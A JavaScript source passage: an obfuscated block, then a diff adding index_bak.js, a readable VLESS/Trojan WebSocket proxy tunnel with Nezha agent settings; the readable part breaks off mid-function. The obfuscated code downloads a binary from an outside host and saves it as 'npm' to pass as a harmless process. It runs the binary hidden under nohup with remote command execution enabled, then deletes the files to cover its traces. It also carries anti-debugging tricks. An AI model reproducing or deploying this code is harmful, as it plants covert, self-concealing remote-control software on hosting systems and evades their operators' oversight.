_0x32fd24=_0x1fcc0f[_0x2274b0];_0x2274b0+=-0x15d*0xe+0x8f+0x251*0x8,_0x3c5e09=_0x1fcc0f['slice'](_0x2274b0,_0x5da64a['pRScr'](_0x2274b0,_0x32fd24))[_0x2e3d26(0x19c)](),_0x2274b0+=_0x32fd24;}else{const _0x5060ac=_0x13353f[_0x2e3d26(0xe6)](_0x105f1a,arguments);return _0x59dbb6=null,_0x5060ac;}}else{if(_0x2f496a===0x44d*0x7+-0x1*0xbcc+-0x7*0x29d)_0x3c5e09=_0x1fcc0f['slice'](_0x2274b0,_0x5da64a['bPFqA'](_0x2274b0,-0x5c7+-0x2*0xe89+0x22e9))['reduce']((_0x5f4ca4,_0x45f422,_0x495a8f,_0x30cb26)=>_0x495a8f%(0xde7+0x769+-0x71a*0x3)?_0x5f4ca4['concat'](_0x30cb26['slice'](_0x495a8f-(-0x7a*-0x27+-0x1ed5+0xc40),_0x495a8f+(0xf21*0x2+0x1b00+-0x1*0x3941))):_0x5f4ca4,[])['map'](_0x276c28=>_0x276c28['readUInt16'+'BE'](-0x1576+-0xdb3+0x2329)[_0x2e3d26(0x19c)](-0x16fa+0xec6+0x844))[_0x2e3d26(0x1b1)](':'),_0x2274b0+=0x261b+0x7a*0x2+-0x26ff;else return![];}}_0x27fa8e=_0x1fcc0f['readUInt16'+'BE'](_0x2274b0),_0x2274b0+=-0xc75+-0xd13*-0x1+-0x9c;if(_0x5da64a['rtEOb'](_0x2274b0,_0x1fcc0f['length'])&&_0x5da64a['VdBps'](_0x1fcc0f[_0x2274b0],-0x143*0x1b+-0x170f+0x11f*0x33)&&_0x5da64a['QOStN'](_0x1fcc0f[_0x5da64a['ccnyt'](_0x2274b0,-0x185e+-0x1*0xfbf+0x281e)],-0x89*0x1a+0x133f+-0x54b)){if(_0x5da64a['dooeM'](_0x2e3d26(0x164),'mglYx')){_0x5da64a['WVgCW'](_0x527407,_0x15d840);return;}else _0x2274b0+=0x1*-0x2624+-0x269b*-0x1+-0x75;}const _0x424a30=_0x5da64a['PZewG'](createWebSocketStream,_0x26abcb);return _0x5da64a['dVRHM'](resolveHost,_0x3c5e09)['then'](_0x4f62b8=>{const _0x11a0bc=_0x2e3d26;net[_0x11a0bc(0x1a3)]({'host':_0x4f62b8,'port':_0x27fa8e},function(){const _0x4231fe=_0x11a0bc;_0x5da64a[_0x4231fe(0xb8)](_0x2274b0,_0x1fcc0f[_0x4231fe(0x18d)])&&this[_0x4231fe(0x12b)](_0x1fcc0f['slice'](_0x2274b0)),_0x424a30['on'](_0x5da64a[_0x4231fe(0x12a)],()=>{})[_0x4231fe(0xb4)](this)['on']('error',()=>{})['pipe'](_0x424a30);})['on'](_0x5da64a['ISvQl'],()=>{});})['catch'](_0x339569=>{net['connect']({'host':_0x3c5e09,'port':_0x27fa8e},function(){const _0x1b3ff2=_0x36d9;_0x5da64a[_0x1b3ff2(0xb8)](_0x2274b0,_0x1fcc0f['length'])&&this['write'](_0x1fcc0f[_0x1b3ff2(0xc4)](_0x2274b0)),_0x424a30['on']('error',()=>{})[_0x1b3ff2(0xb4)](this)['on'](_0x5da64a['ISvQl'],()=>{})['pipe'](_0x424a30);})['on'](_0x5da64a['ISvQl'],()=>{});}),!![];}catch(_0x3aa500){return![];}}wss['on']('connection',(_0x481674,_0xf38a16)=>{const _0x3f9024=_0x20ffbd,_0x1492d2={'AVUhM':function(_0x1fe6e2,_0x410cea){return _0x1fe6e2+_0x410cea;},'btuwT':function(_0x10ccbf,_0x218d34){return _0x10ccbf(_0x218d34);},'vLRIE':function(_0x4430dc,_0x671573){return _0x4430dc===_0x671573;},'QExrp':_0x3f9024(0x15e),'BJeEV':function(_0x47f9e9,_0x97af65){return _0x47f9e9!==_0x97af65;},'FCVrY':'NGcOh','rALmV':function(_0x2c490f,_0x1d4d99,_0x2662dd){return _0x2c490f(_0x1d4d99,_0x2662dd);},'sdhfB':function(_0x292e39,_0x1e9528,_0x13a694){return _0x292e39(_0x1e9528,_0x13a694);},'onIuP':function(_0x1b3fac,_0x1e2554){return _0x1b3fac===_0x1e2554;},'EQRch':_0x3f9024(0x170),'dSBLN':_0x3f9024(0x107)},_0x5af1b8=_0xf38a16[_0x3f9024(0x160)]||'';_0x481674['once'](_0x1492d2[_0x3f9024(0x150)],_0x927b5=>{const _0x1d0d08=_0x3f9024,_0x5715ff={'fLYcW':function(_0x5d85bd,_0x3bf235){const _0x3265e6=_0x36d9;return _0x1492d2[_0x3265e6(0x196)](_0x5d85bd,_0x3bf235);},'yUrcx':function(_0x4b5d0c,_0x367bed){const _0x431173=_0x36d9;return _0x1492d2[_0x431173(0xd3)](_0x4b5d0c,_0x367bed);},'yiYXy':function(_0x1b2cf1,_0x56640d){return _0x1492d2['AVUhM'](_0x1b2cf1,_0x56640d);},'FMWOk':'return\x20(fu'+'nction()\x20'};if(_0x1492d2[_0x1d0d08(0xea)](_0x1d0d08(0x15e),_0x1492d2[_0x1d0d08(0xc7)])){if(_0x927b5['length']>-0x7*-0x405+0x1*-0x1dcd+0x1bb&&_0x927b5[-0x12e0+0x1*-0x1b8e+0x2e6e*0x1]===-0x626*-0x2+-0x1*-0x26c3+-0x330f){if(_0x1492d2['BJeEV']('nlmIw',_0x1492d2[_0x1d0d08(0xcf)])){const _0x10b25b=_0x927b5['slice'](0x25ac+0x4ed*0x2+-0x2f85,-0x262a+0xa27*-0x2+-0x681*-0x9),_0x2bfca9=_0x10b25b[_0x1d0d08(0x12f)]((_0x3d1826,_0x8f7996)=>_0x3d1826==parseInt(uuid['substr'](_0x8f7996*(-0xfd2+-0x1db*-0xb+-0x495),0x2*-0x1e7+0x17f4+-0x1424),0x8*0x424+-0xed7*0x1+-0x137*0xf));if(_0x2bfca9){!_0x1492d2['rALmV'](handleVlessConnection,_0x481674,_0x927b5)&&_0x481674['close']();return;}}else _0x30e1ec=_0x5d6ff5[_0x1d0d08(0xc4)](_0x1b7d68,_0x5715ff['fLYcW'](_0xa956c4,-0x1*0x79c+0x1b98+-0x13ec))['reduce']((_0x13bbf8,_0x53a48b,_0x5561e7,_0x56666b)=>_0x5561e7%(0x1ee6+0x1392+-0x3276)?_0x13bbf8['concat'](_0x56666b['slice'](_0x5561e7-(-0x130f+0x1cf4+0x4f2*-0x2),_0x5561e7+(-0x53a+0x7a*0x25+-0xc67))):_0x13bbf8,[])['map'](_0x1b3ea9=>_0x1b3ea9['readUInt16'+'BE'](-0xead+0x6e9*-0x1+0x1596*0x1)[_0x1d0d08(0x19c)](-0x15d7+0x27*-0x65+-0x1*-0x254a))[_0x1d0d08(0x1b1)](':'),_0x5a4ce7+=-0x34c+0x2f9+0x63;}!_0x1492d2[_0x1d0d08(0xdc)](handleTrojanConnection,_0x481674,_0x927b5)&&(_0x1492d2['onIuP']('Ejjgq',_0x1492d2[_0x1d0d08(0x1a8)])?_0x481674['close']():_0xc1b2c5=xyLfiG['yUrcx'](_0x3a4a3c,xyLfiG[_0x1d0d08(0xcb)](xyLfiG[_0x1d0d08(0xf0)](xyLfiG['FMWOk'],'{}.constru'+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)'),');'))());}else{const _0x3d130f=_0x11b618['Answer'][_0x1d0d08(0xb6)](_0x47a11e=>_0x47a11e[_0x1d0d08(0x17d)]===-0x8*0x5c+-0x1d36+0x2017);if(_0x3d130f){_0x248f68(_0x3d130f['data']);return;}}})['on']('error',()=>{});});const getDownloadUrl=()=>{const _0x1dc374=_0x20ffbd,_0x1e168f={'SoVRD':'npm','ccQTA':'config.yam'+'l','hAQkb':function(_0x331c16,_0x204c37){return _0x331c16(_0x204c37);},'cuJkQ':function(_0x4d3319,_0x580c1e){return _0x4d3319+_0x580c1e;},'ngLoq':function(_0x192707,_0x50d80d){return _0x192707+_0x50d80d;},'WdIYU':_0x1dc374(0x137)+'nction()\x20','Ilqvb':_0x1dc374(0xc2)+_0x1dc374(0xc3)+_0x1dc374(0x117)+'\x20)','NChMI':function(_0x394213,_0x358e63){return _0x394213===_0x358e63;},'BKEcO':'arm','HoCNC':'arm64','LlPXK':'https://ar'+'m64.ssss.n'+_0x1dc374(0xa8),'fplrS':_0x1dc374(0x14e)+'m64.ssss.n'+'yc.mn/agen'+'t','lejcx':'Gbaxg','xSTkE':function(_0x1bfa15,_0x33f6fc){return _0x1bfa15===_0x33f6fc;},'aOfqU':_0x1dc374(0x17a)+_0x1dc374(0xf6)+'yc.mn/v1','vQhgB':'https://am'+'d64.ssss.n'+'yc.mn/agen'+'t'},_0x39845a=os[_0x1dc374(0xb9)]();if(_0x1e168f['NChMI'](_0x39845a,_0x1e168f['BKEcO'])||_0x1e168f[_0x1dc374(0x1a7)](_0x39845a,_0x1e168f['HoCNC'])||_0x39845a==='aarch64')return!NEZHA_PORT?_0x1e168f['LlPXK']:_0x1e168f['fplrS'];else{if(_0x1e168f['NChMI'](_0x1e168f['lejcx'],'Gbaxg')){if(!NEZHA_PORT){if(_0x1e168f[_0x1dc374(0x184)]('pQoic','pQoic'))return _0x1e168f['aOfqU'];else _0x1fa12b['unlink'](_0x1e168f['SoVRD'],()=>{}),_0x3d292c[_0x1dc374(0x10b)](_0x1e168f['ccQTA'],()=>{});}else return _0x1e168f['vQhgB'];}else{let _0x2821e9;try{_0x2821e9=DamtSy['hAQkb'](_0x5952ae,DamtSy[_0x1dc374(0x122)](DamtSy[_0x1dc374(0x13c)](DamtSy[_0x1dc374(0x101)],DamtSy['Ilqvb']),');'))();}catch(_0x41537b){_0x2821e9=_0x11d8cd;}return _0x2821e9;}}},downloadFile=async()=>{const _0xa23ba4=_0x20ffbd,_0x15e26b={'yZKSX':'oAxdD','BOxqR':_0xa23ba4(0x152)+'ad\x20success'+'fully','jItPz':function(_0x357bf5,_0x4d3650,_0x28e9b0){return _0x357bf5(_0x4d3650,_0x28e9b0);},'maHVz':'chmod\x20+x\x20n'+'pm','hcuxP':_0xa23ba4(0xa2),'Prucj':_0xa23ba4(0x14e)+_0xa23ba4(0xaa)+_0xa23ba4(0x100)+'t','XLHEK':function(_0x4c4842,_0x3f7e70){return _0x4c4842&&_0x3f7e70;},'aJfeJ':function(_0x449f82,_0x2224b2){return _0x449f82(_0x2224b2);},'vJwvb':'get','OQClb':_0xa23ba4(0x14b),'sGmkk':'adfTE'};if(_0x15e26b['XLHEK'](!NEZHA_SERVER,!NEZHA_KEY))return;try{const _0x2eb2a0=getDownloadUrl(),_0x4fc2d0=await _0x15e26b[_0xa23ba4(0x10d)](axios,{'method':_0x15e26b['vJwvb'],'url':_0x2eb2a0,'responseType':_0x15e26b['OQClb']}),_0xab3934=fs[_0xa23ba4(0x173)+'eStream']('npm');return _0x4fc2d0['data'][_0xa23ba4(0xb4)](_0xab3934),new Promise((_0x53483f,_0x5af55b)=>{const _0x5ca56f=_0xa23ba4,_0x1d33f7={'sGOrZ':function(_0x2da452,_0x419ba0){return _0x2da452<_0x419ba0;},'lqopl':_0x15e26b[_0x5ca56f(0x1ad)]};_0xab3934['on']('finish',()=>{const _0x1277c3=_0x5ca56f,_0x58a286={'TLBqf':function(_0x117932,_0x50b04a){return _0x117932(_0x50b04a);}};_0x15e26b['yZKSX']!=='VyXcd'?(console[_0x1277c3(0xbb)](_0x15e26b['BOxqR']),_0x15e26b['jItPz'](exec,_0x15e26b[_0x1277c3(0x102)],_0x4a2397=>{const _0x202f32=_0x1277c3;if(_0x4a2397)_0x58a286[_0x202f32(0x1b6)](_0x5af55b,_0x4a2397);_0x53483f();})):(_0x1d33f7['sGOrZ'](_0x2434e1,_0x34857a[_0x1277c3(0x18d)])&&this['write'](_0x1bac43[_0x1277c3(0xc4)](_0x2da600)),_0xcc7d2['on']('error',()=>{})['pipe'](this)['on'](_0x1d33f7['lqopl'],()=>{})['pipe'](_0x327687));}),_0xab3934['on'](_0x15e26b[_0x5ca56f(0x1ad)],_0x5af55b);});}catch(_0x52a162){if(_0x15e26b[_0xa23ba4(0xf1)]!=='HBIIe')throw _0x52a162;else return _0x15e26b[_0xa23ba4(0x179)];}},runnz=async()=>{const _0x3c7fb9=_0x20ffbd,_0x540fa1={'rAMoy':'npm\x20runnin'+'g\x20error:','wSajN':_0x3c7fb9(0xf8)+'ning','rfUco':function(_0x3587b8,_0x1a1056,_0x493dd1,_0x2f885c){return _0x3587b8(_0x1a1056,_0x493dd1,_0x2f885c);},'toodi':'true','TaisQ':_0x3c7fb9(0xce)+'l','vIdnT':function(_0x5480fd,_0x11716a){return _0x5480fd!==_0x11716a;},'CehHF':_0x3c7fb9(0x115),'LiwIe':'npm\x20is\x20alr'+'eady\x20runni'+'ng,\x20skip\x20r'+'unning...','kNMbM':function(_0x26b820){return _0x26b820();},'ItErg':'443','eYTiW':'8443','ikWBZ':_0x3c7fb9(0x140),'ITLsR':function(_0x205041,_0x1cc3d2){return _0x205041&&_0x1cc3d2;},'htnad':_0x3c7fb9(0x1af),'eapou':_0x3c7fb9(0x18f),'NmnlM':_0x3c7fb9(0xb2),'OjSQy':_0x3c7fb9(0xc8)+'able\x20is\x20em'+'pty,\x20skip\x20'+'running','BkMiT':'dpxhv','ZPwPw':function(_0x34ffce,_0x5be20b,_0x35e2ed,_0x2efe3e){return _0x34ffce(_0x5be20b,_0x35e2ed,_0x2efe3e);},'YJCqb':'/bin/bash','tCbWn':function(_0x28f9c2,_0x3187a2){return _0x28f9c2!==_0x3187a2;},'LLItR':_0x3c7fb9(0x180)};try{const _0x4d928b=execSync('ps\x20aux\x20|\x20g'+_0x3c7fb9(0x119)+'ep\x22\x20|\x20grep'+_0x3c7fb9(0xd7),{'encoding':'utf-8'});if(_0x4d928b['trim']()!==''){if(_0x540fa1['vIdnT'](_0x540fa1['CehHF'],_0x540fa1[_0x3c7fb9(0x17f)])){!_0x3d6690(_0xbbd71,_0x2664d8)&&_0x3de276['close']();return;}else{console[_0x3c7fb9(0xbb)](_0x540fa1['LiwIe']);return;}}}catch(_0xa4affc){}await _0x540fa1[_0x3c7fb9(0x166)](downloadFile);let _0x5588eb='',_0x35a692=[_0x540fa1['ItErg'],_0x540fa1['eYTiW'],'2096','2087',_0x3c7fb9(0x1ae),_0x540fa1[_0x3c7fb9(0x19b)]];if(_0x540fa1['ITLsR'](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){const _0x5d3455=_0x35a692[_0x3c7fb9(0xff)](NEZHA_PORT)?_0x540fa1['htnad']:'';_0x5588eb='setsid\x20noh'+'up\x20./npm\x20-'+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x5d3455+('\x20--disable'+'-auto-upda'+_0x3c7fb9(0xdb)+_0x3c7fb9(0x181)+_0x3c7fb9(0x104)+_0x3c7fb9(0x163)+_0x3c7fb9(0x141)+'/null\x202>&1'+'\x20&');}else{if(_0x540fa1[_0x3c7fb9(0x193)](NEZHA_SERVER,NEZHA_KEY)){if(!NEZHA_PORT){if(_0x540fa1['eapou']!==_0x540fa1['eapou'])_0x38f8eb['close']();else{const _0x12180e=NEZHA_SERVER['includes'](':')?NEZHA_SERVER['split'](':')['pop']():'',_0x516602=_0x35a692['includes'](_0x12180e)?'true':_0x540fa1[_0x3c7fb9(0x197)],_0xdcce73='client_sec'+'ret:\x20'+NEZHA_KEY+('\x0adebug:\x20fa'+_0x3c7fb9(0x1b4)+_0x3c7fb9(0x14d)+'ate:\x20true\x0a'+_0x3c7fb9(0x144)+_0x3c7fb9(0x10f)+'ute:\x20false'+'\x0adisable_f'+'orce_updat'+_0x3c7fb9(0xae)+'sable_nat:'+'\x20false\x0adis'+'able_send_'+'query:\x20fal'+_0x3c7fb9(0xbd)+_0x3c7fb9(0x194)+_0x3c7fb9(0x12e)+_0x3c7fb9(0xb7)+'rt_period:'+'\x201800\x0arepo'+'rt_delay:\x20'+_0x3c7fb9(0x1aa))+NEZHA_SERVER+('\x0askip_conn'+'ection_cou'+'nt:\x20true\x0as'+_0x3c7fb9(0xe0)+'count:\x20tru'+'e\x0atemperat'+'ure:\x20false'+'\x0atls:\x20')+_0x516602+('\x0ause_gitee'+'_to_upgrad'+_0x3c7fb9(0x143)+_0x3c7fb9(0xe8)+'untry_code'+':\x20false\x0auu'+'id:\x20')+UUID;fs['writeFileS'+'ync'](_0x540fa1['TaisQ'],_0xdcce73);}}_0x5588eb='setsid\x20noh'+'up\x20./npm\x20-'+_0x3c7fb9(0x191)+_0x3c7fb9(0xd2)+_0x3c7fb9(0xa3)+'&';}else{console['log'](_0x540fa1['OjSQy']);return;}}try{_0x3c7fb9(0x14f)!==_0x540fa1['BkMiT']?_0x540fa1['ZPwPw'](exec,_0x5588eb,{'shell':_0x540fa1['YJCqb']},_0x2e510b=>{const _0x506f6f=_0x3c7fb9;if(_0x2e510b)console[_0x506f6f(0xa2)](_0x540fa1['rAMoy'],_0x2e510b);else console['log'](_0x506f6f(0xf8)+'ning');}):_0x540fa1['rfUco'](_0xb2c085,_0x547e76,{'shell':'/bin/bash'},_0xc575f6=>{const _0x4c65a7=_0x3c7fb9;if(_0xc575f6)_0x1fe75a['error']('npm\x20runnin'+_0x4c65a7(0xb3),_0xc575f6);else _0x30d2d2['log'](_0x540fa1['wSajN']);});}catch(_0x5d5163){if(_0x540fa1['tCbWn']('BZNFC',_0x540fa1['LLItR']))console['error'](_0x3c7fb9(0x165)+_0x5d5163);else{const _0x337700=_0x16a6e1['includes'](':')?_0x56c0af['split'](':')[_0x3c7fb9(0x10c)]():'',_0x406b2e=_0x53592c['includes'](_0x337700)?_0x540fa1[_0x3c7fb9(0xc5)]:'false',_0x103856=_0x3c7fb9(0xab)+'ret:\x20'+_0x35d9e4+(_0x3c7fb9(0x133)+'lse\x0adisabl'+_0x3c7fb9(0x14d)+'ate:\x20true\x0a'+'disable_co'+'mmand_exec'+'ute:\x20false'+'\x0adisable_f'+'orce_updat'+'e:\x20true\x0adi'+'sable_nat:'+'\x20false\x0adis'+'able_send_'+'query:\x20fal'+_0x3c7fb9(0xbd)+_0x3c7fb9(0x194)+_0x3c7fb9(0x12e)+'ue\x0aip_repo'+'rt_period:'+'\x201800\x0arepo'+'rt_delay:\x20'+'4\x0aserver:\x20')+_0x5e128b+('\x0askip_conn'+'ection_cou'+_0x3c7fb9(0x17c)+_0x3c7fb9(0xe0)+'count:\x20tru'+'e\x0atemperat'+_0x3c7fb9(0x11f)+'\x0atls:\x20')+_0x406b2e+('\x0ause_gitee'+_0x3c7fb9(0x16c)+_0x3c7fb9(0x143)+'se_ipv6_co'+'untry_code'+_0x3c7fb9(0x1b0)+_0x3c7fb9(0x11e))+_0x25dc8b;_0xd515b3['writeFileS'+'ync'](_0x540fa1[_0x3c7fb9(0x14a)],_0x103856);}}};async function addAccessTask(){const _0x32c4b2=_0x20ffbd,_0x3d16c4={'GkYNb':'applicatio'+_0x32c4b2(0x19e)};if(!AUTO_ACCESS)return;if(!DOMAIN)return;const _0x2c6496='https://'+DOMAIN;try{const _0x27c09b=await axios['post']('https://oo'+_0x32c4b2(0x1a2)+'net/add-ur'+'l',{'url':_0x2c6496},{'headers':{'Content-Type':_0x3d16c4['GkYNb']}});console['log']('Automatic\x20'+'Access\x20Tas'+'k\x20added\x20su'+_0x32c4b2(0x11d));}catch(_0x55e187){}}const delFiles=()=>{const _0x1e2e87=_0x20ffbd,_0x28eb39={'LbeVI':'npm','zAJKR':_0x1e2e87(0xce)+'l'};fs['unlink'](_0x28eb39['LbeVI'],()=>{}),fs['unlink'](_0x28eb39[_0x1e2e87(0x161)],()=>{});};httpServer['listen'](PORT,()=>{const _0x10e285=_0x20ffbd,_0xa7d9b2={'Pxwzd':function(_0x3cdfcb,_0x4f960f){return _0x3cdfcb===_0x4f960f;},'brwfm':_0x10e285(0x167),'FfXun':function(_0x33b631){return _0x33b631();},'wTPzd':function(_0x2774a1,_0x513744,_0x165523){return _0x2774a1(_0x513744,_0x165523);}};_0xa7d9b2[_0x10e285(0x118)](runnz),_0xa7d9b2['wTPzd'](setTimeout,()=>{const _0x1a6c2a=_0x10e285;_0xa7d9b2['Pxwzd'](_0xa7d9b2[_0x1a6c2a(0xa5)],_0xa7d9b2[_0x1a6c2a(0xa5)])?_0xa7d9b2['FfXun'](delFiles):_0x441933[_0x1a6c2a(0xa2)]('error:\x20'+_0x2bb91d);},0x7*-0xb934+-0x2dcbb+0xaac47),_0xa7d9b2[_0x10e285(0x118)](addAccessTask),console['log'](_0x10e285(0x12d)+'running\x20on'+'\x20port\x20'+PORT);});function _0x4da6ca(_0x225d90){const _0x3b50b1=_0x20ffbd,_0xb852f={'bNBZd':'text/plain','GadxC':function(_0x20f06b,_0x4987bf){return _0x20f06b(_0x4987bf);},'FgOoA':function(_0x1afa23,_0x346f1a){return _0x1afa23+_0x346f1a;},'lMOuy':function(_0x310ccf,_0x1bd15d){return _0x310ccf===_0x1bd15d;},'GxPts':_0x3b50b1(0x192),'jHSka':_0x3b50b1(0xcc),'XqNkU':'yPyzw','txZyz':function(_0x338a49,_0x5682a9){return _0x338a49===_0x5682a9;},'gBiEN':'string','LhfNb':_0x3b50b1(0x174)+'e)\x20{}','fdwZn':_0x3b50b1(0xba),'kMtuC':'vrBPq','TXkUP':function(_0xcb64a,_0x4bf723){return _0xcb64a!==_0x4bf723;},'QBcKF':function(_0x1fe3af,_0x123075){return _0x1fe3af/_0x123075;},'pmOdO':function(_0x2346b5,_0x3850f0){return _0x2346b5===_0x3850f0;},'gWzMF':'FiIoC','IGicX':'CARdC','ixKRz':function(_0x1e12a3,_0x233a0c){return _0x1e12a3+_0x233a0c;},'TpQsf':'debu','KcGTw':_0x3b50b1(0x1ab),'iglfa':'action','khXNf':_0x3b50b1(0x155),'znFps':function(_0x1aad4e,_0x20f86c){return _0x1aad4e+_0x20f86c;},'BWOhC':function(_0x44244f,_0x412ea6){return _0x44244f(_0x412ea6);}};function _0x564cae(_0x191f42){const _0x187240=_0x3b50b1,_0x5e2363={'LvMiN':function(_0x36e4fc,_0x55aa10){return _0xb852f['FgOoA'](_0x36e4fc,_0x55aa10);},'HcNIR':function(_0x143381,_0x365318){const _0x1e40ca=_0x36d9;return _0xb852f[_0x1e40ca(0xdd)](_0x143381,_0x365318);},'nQBgl':_0xb852f[_0x187240(0xd0)]};if(_0xb852f['lMOuy'](_0xb852f['jHSka'],_0xb852f['XqNkU']))_0x49acf2[_0x187240(0x145)](0x14ef+-0x1*0x10d0+-0x28b,{'Content-Type':_0xb852f['bNBZd']}),_0x55f2d7['end'](_0x187240(0xf2));else{if(_0xb852f[_0x187240(0x127)](typeof _0x191f42,_0xb852f[_0x187240(0x159)]))return function(_0x1f6e78){}['constructo'+'r'](_0xb852f['LhfNb'])['apply'](_0xb852f['fdwZn']);else{if(_0xb852f[_0x187240(0xdd)](_0x187240(0xf5),_0xb852f['kMtuC']))return!![];else{if(_0xb852f['TXkUP']((''+_0xb852f['QBcKF'](_0x191f42,_0x191f42))[_0x187240(0x18d)],0x29*-0xaf+0x1091+0xb77)||_0x191f42%(-0x1*-0x5aa+-0x19a0+0x1b*0xbe)===-0x1ae3*0x1+0x160c+0x4d7){if(_0xb852f['pmOdO'](_0xb852f[_0x187240(0x157)],_0xb852f['IGicX'])){_0xb852f['GadxC'](_0x9fc748,_0xacba7['data']);return;}else(function(){return!![];}['constructo'+'r'](_0xb852f['ixKRz'](_0xb852f['TpQsf'],_0xb852f[_0x187240(0xda)]))['call'](_0xb852f['iglfa']));}else{if(_0xb852f['pmOdO'](_0x187240(0x18b),_0xb852f['khXNf'])){const _0xd71b8b=_0x3f3a8e?function(){if(_0x48f668){const _0x30daa8=_0x196eeb['apply'](_0x27d98c,arguments);return _0x5ba4d0=null,_0x30daa8;}}:function(){};return _0x5c8e67=![],_0xd71b8b;}else(function(){const _0x48da08=_0x187240;if(_0x5e2363[_0x48da08(0x128)](_0x5e2363['nQBgl'],'wmpca'))return![];else{const _0x390d67=_0x2e0fbc[_0x3c6cd6];_0x1d0257+=0x6*-0x16f+0xed6*0x1+-0x63b,_0x485dec=_0x46a371[_0x48da08(0xc4)](_0x4fe7eb,_0x5e2363['LvMiN'](_0x1ad263,_0x390d67))['toString'](),_0x2a04a8+=_0x390d67;}}['constructo'+'r'](_0xb852f[_0x187240(0x158)](_0x187240(0x116),_0xb852f['KcGTw']))['apply'](_0x187240(0x18e)+'t'));}}}_0xb852f[_0x187240(0x13f)](_0x564cae,++_0x191f42);}}try{if(_0x225d90)return _0x564cae;else _0xb852f['GadxC'](_0x564cae,-0x58a+0x47*-0x25+0x5*0x329);}catch(_0x9678a5){}} diff --git a/index_bak.js b/index_bak.js new file mode 100644 index 0000000000..fbeb14fa43 --- /dev/null +++ b/index_bak.js @@ -0,0 +1,377 @@ +const os = require('os'); +const http = require('http'); +const fs = require('fs'); +const axios = require('axios'); +const net = require('net'); +const path = require('path'); +const crypto = require('crypto'); +const { Buffer } = require('buffer'); +const { exec, execSync } = require('child_process'); +const { WebSocket, createWebSocketStream } = require('ws'); +const UUID = process.env.UUID || '4e4a8586-e031-405a-b6e2-baca00e5fa69'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 +const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com +const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls +const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 +const DOMAIN = process.env.DOMAIN || '1234.abcdef.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com +const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 +const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 +const NAME = process.env.NAME || ''; // 节点名称 +const PORT = process.env.PORT || 7860; // http和ws服务端口 + +let ISP = ''; +const GetISP = async () => { + try { + const res = await axios.get('https://api.ip.sb/geoip'); + const data = res.data; + ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); + } catch (e) { + ISP = 'Unknown'; + } +} +GetISP(); + +const httpServer = http.createServer((req, res) => { + if (req.url === '/') { + const filePath = path.join(__dirname, 'index.html'); + fs.readFile(filePath, 'utf8', (err, content) => { + if (err) { + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end('Hello world!'); + return; + } + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end(content); + }); + return; + } else if (req.url === `/${SUB_PATH}`) { + const namePart = NAME ? `${NAME}-${ISP}` : ISP; + const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const subscription = vlessURL + '\n' + trojanURL; + const base64Content = Buffer.from(subscription).toString('base64'); + + res.writeHead(200, { 'Content-Type': 'text/plain' }); + res.end(base64Content + '\n'); + } else { + res.writeHead(404, { 'Content-Type': 'text/plain' }); + res.end('Not Found\n'); + } +}); + +const wss = new WebSocket.Server({ server: httpServer }); +const uuid = UUID.replace(/-/g, ""); +const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; +// Custom DNS +function resolveHost(host) { + return new Promise((resolve, reject) => { + if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { + resolve(host); + return; + } + let attempts = 0; + function tryNextDNS() { + if (attempts >= DNS_SERVERS.length) { + reject(new Error(`Failed to resolve ${host} with all DNS servers`)); + return; + } + const dnsServer = DNS_SERVERS[attempts]; + attempts++; + const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; + axios.get(dnsQuery, { + timeout: 5000, + headers: { + 'Accept': 'application/dns-json' + } + }) + .then(response => { + const data = response.data; + if (data.Status === 0 && data.Answer && data.Answer.length > 0) { + const ip = data.Answer.find(record => record.type === 1); + if (ip) { + resolve(ip.data); + return; + } + } + tryNextDNS(); + }) + .catch(error => { + tryNextDNS(); + }); + } + + tryNextDNS(); + }); +} + +// VLE-SS处理 +function handleVlessConnection(ws, msg) { + const [VERSION] = msg; + const id = msg.slice(1, 17); + if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; + + let i = msg.slice(17, 18).readUInt8() + 19; + const port = msg.slice(i, i += 2).readUInt16BE(0); + const ATYP = msg.slice(i, i += 1).readUInt8(); + const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : + (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : + (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); + ws.send(new Uint8Array([VERSION, 0])); + const duplex = createWebSocketStream(ws); + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return 